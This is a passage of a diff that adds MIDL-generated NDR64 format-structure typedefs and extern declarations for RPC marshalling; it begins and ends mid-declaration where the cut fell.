_NDR64_SIMPLE_MEMBER_FORMAT frag9; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag10; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag11; + struct _NDR64_MEMPAD_FORMAT frag12; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag13; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag14; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag15; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag16; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag17; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag18; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag19; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag20; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag21; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag22; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag23; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag24; + } frag2; +} +__midl_frag898_t; +extern const __midl_frag898_t __midl_frag898; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag897_t; +extern const __midl_frag897_t __midl_frag897; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag896_t; +extern const __midl_frag896_t __midl_frag896; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag895_t; +extern const __midl_frag895_t __midl_frag895; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag894_t; +extern const __midl_frag894_t __midl_frag894; + +typedef +struct +{ + struct _NDR64_NON_ENCAPSULATED_UNION frag1; + struct _NDR64_UNION_ARM_SELECTOR frag2; + struct _NDR64_UNION_ARM frag3; + struct _NDR64_UNION_ARM frag4; + struct _NDR64_UNION_ARM frag5; + struct _NDR64_UNION_ARM frag6; + struct _NDR64_UNION_ARM frag7; + struct _NDR64_UNION_ARM frag8; + struct _NDR64_UNION_ARM frag9; + NDR64_UINT32 frag10; +} +__midl_frag893_t; +extern const __midl_frag893_t __midl_frag893; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; +} +__midl_frag892_t; +extern const __midl_frag892_t __midl_frag892; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag890_t; +extern const __midl_frag890_t __midl_frag890; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag889_t; +extern const __midl_frag889_t __midl_frag889; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag887_t; +extern const __midl_frag887_t __midl_frag887; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag886_t; +extern const __midl_frag886_t __midl_frag886; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3; + struct _NDR64_BUFFER_ALIGN_FORMAT frag4; + struct _NDR64_BUFFER_ALIGN_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag8; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag9; + struct _NDR64_MEMPAD_FORMAT frag10; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag11; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag12; + struct _NDR64_MEMPAD_FORMAT frag13; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag14; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag15; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag16; + } frag2; +} +__midl_frag884_t; +extern const __midl_frag884_t __midl_frag884; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag883_t; +extern const __midl_frag883_t __midl_frag883; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_PARAM_FORMAT frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; +} +__midl_frag880_t; +extern const __midl_frag880_t __midl_frag880; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag874_t; +extern const __midl_frag874_t __midl_frag874; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag869_t; +extern const __midl_frag869_t __midl_frag869; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag862_t; +extern const __midl_frag862_t __midl_frag862; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_PARAM_FORMAT frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag855_t; +extern const __midl_frag855_t __midl_frag855; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag845_t; +extern const __midl_frag845_t __midl_frag845; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag844_t; +extern const __midl_frag844_t __midl_frag844; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag842_t; +extern const __midl_frag842_t __midl_frag842; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_PARAM_FORMAT frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag835_t; +extern const __midl_frag835_t __midl_frag835; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag828_t; +extern const __midl_frag828_t __midl_frag828; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + NDR64_FORMAT_CHAR frag4; + } frag2; +} +__midl_frag822_t; +extern const __midl_frag822_t __midl_frag822; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag817_t; +extern const __midl_frag817_t __midl_frag817; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; +} +__midl_frag813_t; +extern const __midl_frag813_t __midl_frag813; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag808_t; +extern const __midl_frag808_t __midl_frag808; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag790_t; +extern const __midl_frag790_t __midl_frag790; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_PARAM_FORMAT frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag781_t; +extern const __midl_frag781_t __midl_frag781; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag770_t; +extern const __midl_frag770_t __midl_frag770; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_PARAM_FORMAT frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag756_t; +extern const __midl_frag756_t __midl_frag756; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag752_t; +extern const __midl_frag752_t __midl_frag752; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag751_t; +extern const __midl_frag751_t __midl_frag751; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_PARAM_FORMAT frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag730_t; +extern const __midl_frag730_t __midl_frag730; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag718_t; +extern const __midl_frag718_t __midl_frag718; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag714_t; +extern const __midl_frag714_t __midl_frag714; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag713_t; +extern const __midl_frag713_t __midl_frag713; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag712_t; +extern const __midl_frag712_t __midl_frag712; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag710_t; +extern const __midl_frag710_t __midl_frag710; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag692_t; +extern const __midl_frag692_t __midl_frag692; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag691_t; +extern const __midl_frag691_t __midl_frag691; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag689_t; +extern const __midl_frag689_t __midl_frag689; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag685_t; +extern const __midl_frag685_t __midl_frag685; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag684_t; +extern const __midl_frag684_t __midl_frag684; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag682_t; +extern const __midl_frag682_t __midl_frag682; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_OPERATOR frag2; + struct _NDR64_EXPR_VAR frag3; +} +__midl_frag677_t; +extern const __midl_frag677_t __midl_frag677; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag676_t; +extern const __midl_frag676_t __midl_frag676; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag675_t; +extern const __midl_frag675_t __midl_frag675; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag674_t; +extern const __midl_frag674_t __midl_frag674; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag669_t; +extern const __midl_frag669_t __midl_frag669; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag668_t; +extern const __midl_frag668_t __midl_frag668; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag667_t; +extern const __midl_frag667_t __midl_frag667; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + NDR64_FORMAT_CHAR frag4; + } frag2; +} +__midl_frag664_t; +extern const __midl_frag664_t __midl_frag664; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag663_t; +extern const __midl_frag663_t __midl_frag663; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; + struct _NDR64_PARAM_FORMAT frag10; + struct _NDR64_PARAM_FORMAT frag11; +} +__midl_frag661_t; +extern const __midl_frag661_t __midl_frag661; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_OPERATOR frag2; + struct _NDR64_EXPR_VAR frag3; +} +__midl_frag656_t; +extern const __midl_frag656_t __midl_frag656; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag655_t; +extern const __midl_frag655_t __midl_frag655; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag654_t; +extern const __midl_frag654_t __midl_frag654; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag653_t; +extern const __midl_frag653_t __midl_frag653; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag649_t; +extern const __midl_frag649_t __midl_frag649; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; + struct _NDR64_PARAM_FORMAT frag10; +} +__midl_frag633_t; +extern const __midl_frag633_t __midl_frag633; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag618_t; +extern const __midl_frag618_t __midl_frag618; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_PARAM_FORMAT frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag609_t; +extern const __midl_frag609_t __midl_frag609; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag604_t; +extern const __midl_frag604_t __midl_frag604; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag603_t; +extern const __midl_frag603_t __midl_frag603; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag600_t; +extern const __midl_frag600_t __midl_frag600; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_OPERATOR frag2; + struct _NDR64_EXPR_VAR frag3; +} +__midl_frag596_t; +extern const __midl_frag596_t __midl_frag596; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag595_t; +extern const __midl_frag595_t __midl_frag595; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag594_t; +extern const __midl_frag594_t __midl_frag594; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag593_t; +extern const __midl_frag593_t __midl_frag593; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag589_t; +extern const __midl_frag589_t __midl_frag589; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; +} +__midl_frag585_t; +extern const __midl_frag585_t __midl_frag585; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag584_t; +extern const __midl_frag584_t __midl_frag584; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_POINTER_FORMAT frag4; +} +__midl_frag583_t; +extern const __midl_frag583_t __midl_frag583; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_MEMPAD_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag8; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag9; + struct _NDR64_MEMPAD_FORMAT frag10; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag11; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag12; + } frag2; +} +__midl_frag578_t; +extern const __midl_frag578_t __midl_frag578; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag576_t; +extern const __midl_frag576_t __midl_frag576; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + } frag2; +} +__midl_frag575_t; +extern const __midl_frag575_t __midl_frag575; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag574_t; +extern const __midl_frag574_t __midl_frag574; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag573_t; +extern const __midl_frag573_t __midl_frag573; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag570_t; +extern const __midl_frag570_t __midl_frag570; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag564_t; +extern const __midl_frag564_t __midl_frag564; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag556_t; +extern const __midl_frag556_t __midl_frag556; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_PARAM_FORMAT frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag548_t; +extern const __midl_frag548_t __midl_frag548; + +typedef +struct _NDR64_CONTEXT_HANDLE_FORMAT +__midl_frag544_t; +extern const __midl_frag544_t __midl_frag544; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag542_t; +extern const __midl_frag542_t __midl_frag542; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag535_t; +extern const __midl_frag535_t __midl_frag535; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_PARAM_FORMAT frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag528_t; +extern const __midl_frag528_t __midl_frag528; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_PARAM_FORMAT frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag521_t; +extern const __midl_frag521_t __midl_frag521; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag513_t; +extern const __midl_frag513_t __midl_frag513; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag508_t; +extern const __midl_frag508_t __midl_frag508; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag507_t; +extern const __midl_frag507_t __midl_frag507; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag506_t; +extern const __midl_frag506_t __midl_frag506; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; +} +__midl_frag499_t; +extern const __midl_frag499_t __midl_frag499; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_OPERATOR frag2; + struct _NDR64_EXPR_VAR frag3; +} +__midl_frag494_t; +extern const __midl_frag494_t __midl_frag494; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag493_t; +extern const __midl_frag493_t __midl_frag493; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag492_t; +extern const __midl_frag492_t __midl_frag492; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag491_t; +extern const __midl_frag491_t __midl_frag491; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag487_t; +extern const __midl_frag487_t __midl_frag487; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag486_t; +extern const __midl_frag486_t __midl_frag486; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag485_t; +extern const __midl_frag485_t __midl_frag485; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; +} +__midl_frag482_t; +extern const __midl_frag482_t __midl_frag482; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag474_t; +extern const __midl_frag474_t __midl_frag474; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag468_t; +extern const __midl_frag468_t __midl_frag468; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct 